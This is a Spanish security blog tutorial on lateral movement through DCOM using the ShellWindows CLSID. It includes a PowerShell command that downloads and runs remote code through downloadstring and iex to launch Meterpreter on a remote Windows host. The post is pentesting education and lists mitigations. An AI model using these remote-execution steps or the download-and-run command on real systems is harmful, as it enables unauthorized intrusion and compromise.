martes, febrero 19, 2019

El movimiento lateral a través de DCOM [1]: Técnica Shell Windows

Hace bastante tiempo que quería hablar sobre este tema que me parece muy interesante en lo que a técnicas de movimiento lateral se refiere. Si sigues el trabajo de investigadores como Matt Nelson, el equipo de SpecterOps, Ryan Hanson o el blog de Cybereason entenderás que se destapó una nueva Caja de Pandora. ¿Por qué? Sencillo, se conocen diferentes técnicas de movimiento lateral, las cuales son cada vez más estudiadas y se intenta mitigar el impacto de éstas en un escenario de Ethical Hacking.

Figura 1: El movimiento lateral a través de DCOM [1]: Técnica Shell Windows


En el caso de la extensión DCOM se abrió, como he dicho antes, una auténtica Caja de Pandora por la gran cantidad de escenarios de ataque que se puede dar. Y todo ello está enfocado a evaluar la seguridad y realizar ataques contra sistemas Windows, algo de lo que hemos estudiado y escrito, como podéis leer en el libro de Hacking Windows: Ataques a Sistemas y Redes Microsoft.

Figura 2: Hacking Windows. Ataques a sistemas y redes Microsoft

Existen varias técnicas que se aprovechan de los DCOM, de las cuales Matt Nelson es el autor de la mayoría de ellas, para conseguir ejecutar el movimiento lateral y ejecutar el código que más nos interese en un momento determinado. Este tipo de técnicas tienen un gran interés, ya que son más desconocidas y el efecto es el mismo que el que puede lograr un Pass the hash, un Pass the ticket, el uso de WMI, WinRM o el uso de PSExec.

En el presente artículo se quiere mostrar el potencial de los DCOM para lograr hacer movimiento lateral y una herramienta llamada DCOMrade (que veremos en el post de mañana)  que ha salido para buscar esos DCOM y CLSID potencialmente vulnerables. Este tipo de herramienta puede tener un parecido con nuestro UAC-A-Mola, cada uno en su temática y evaluación de protección en Windows.

DCOM: Distributed Component Object Model

Lo primero es hablar de cómo funciona y qué es un DCOM. El objetivo está claro, poder utilizar este tipo de técnicas para lograr movernos lateralmente a otra máquina. Un DCOM es una extensión de COM, un Component Object Model, los cuales van a permitir instanciar y acceder a las propiedades y métodos de objetos COM sobre una máquina remota.

Por otro lado, debemos entender que es un CLSID, ya que se va a utilizar. Un CLSID es Class Identifier. Es un GUID, el cual va a ser único en el sistema e identificará a una clase COM. Cada clase que se registre en Windows ese asociará con un CLSID.

Otros conceptos que debemos entender son el ProgID y el AppID. El ProgID es Programmatic Identifier, el cual es utilizado como un User-Friendly al CLSID. Por ejemplo, para el CLSID XXXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXX se le puede llamar, de modo más amigable, System.AppDomainManager. El AppID es Application Identifier, el cual es utilizado para especificar la configuración de uno o N objetos COM asociados al mismo ejecutable.

Figura 3: Comando Get-CimInstance Win32_DCOMApplication

Esto incluye los permisos y grupos para instanciar y acceder a las clases asociadas. Con el comando de Powershell (más vale que domines el Pentesting con Powershell si quieres meterte en el mundo del hacking de WindowsGet-CimInstance Win32_DCOMApplication que se puede ver en la Figura 3 podemos listar el nombre y el AppID asociado.

Entendiendo la técnica ShellWindows

Como he comentado anteriormente, existen diferentes técnicas que pueden ser utilizadas para lograr el objetivo, dentro del mundo DCOM. En este caso vamos a tratar la denominada ShellWindows.

Matt Nelson descubrió que cuando listaba diferentes DCOM aplicaciones aparecía MMC Application Class o MMC20.Application. Este objeto COM permite interactuar con diferentes componentes y operaciones de los Snap-In de MMC, por ejemplo, certificados, visor de eventos, etcétera. El investigador se dio cuenta que existía un método llamado ExecuteShellCommand. Lo importante será descubrir objetos que no tienen el valor LaunchPermission. Por ejemplo, si utilizamos el registro en la ruta HKCR:\AppID encontraremos una gran cantidad de CLSID.

Figura 4: CLSID con instancia ShellWindows sin ProgID asociado

En la Figura 4 se puede ver un CLSID y la instancia ShellWindows. Este objeto no tiene ProgID asociado, por lo que se puede utilizar el método Type.GetTypeFromCLSID y luego utilizar el Activator.CreateInstance para instanciar el objeto a través de su CLSID en un equipo remoto.

Figura 5: Instanciación remota de objeto

Como se puede ver en la Figura 5, se utiliza GetTypeFromCLSID para, partiendo del CLSID, instanciar el objeto en el equipo remoto. Esto ocurre cuando se ejecuta el CreateInstance. Si observamos el objeto que se obtiene se puede descubrir que podemos ejecutar a través del método ShellExecute.

Figura 6: Ejecución vía objeto DCOM

En el siguiente ejemplo, se puede ver cómo se ejecuta una calculadora en la máquina remota, pero esto ya demuestra que se puede ejecutar acciones remotas, por lo que se podría ejecutar código que nos interese en la máquina remota.

Ejecutando un Meterpreter

Como ya hemos visto podemos ejecutar cualquier programa remotamente vía este método, por lo que podemos ejecutar un Meterpreter a través del uso de Powershell que es un truco Level 100 del Pentesting con Powershell y que puedes ver en uso dentro del PoC de cómo hicimos PSBot. La modificación es mínima frente a lo anterior. Dónde poníamos los parámetros del cmd.exe lo cambiaríamos por lo siguiente:
c:\windows\system32\windowspowershell\v1.0\powershell.exe –C iex(new-object net.webclient).downloadstring(‘http://…’)
El resultado se puede ver en el siguiente vídeo que hemos grabado para que sea más visual verlo funcionando.


Figura 7: Ejecutando Meterpreter vía ShellWindows en DCOM

Como se puede ver es una técnica sencilla e interesante. Hay que indicar que la técnica tiene una serie de restricciones si nos encontramos ante un Windows Fortificado. Si el firewall de Windows está activo puede bloquear este tipo de tráfico, por lo que su mitigación es sencilla. Otra opción para protegerse es deshabilitar DCOM. En la segunda parte de este artículo vamos a ver la herramienta DCOMrade para sacar más partido a estas técnicas.

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDO de Telefónica.

No hay comentarios:

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares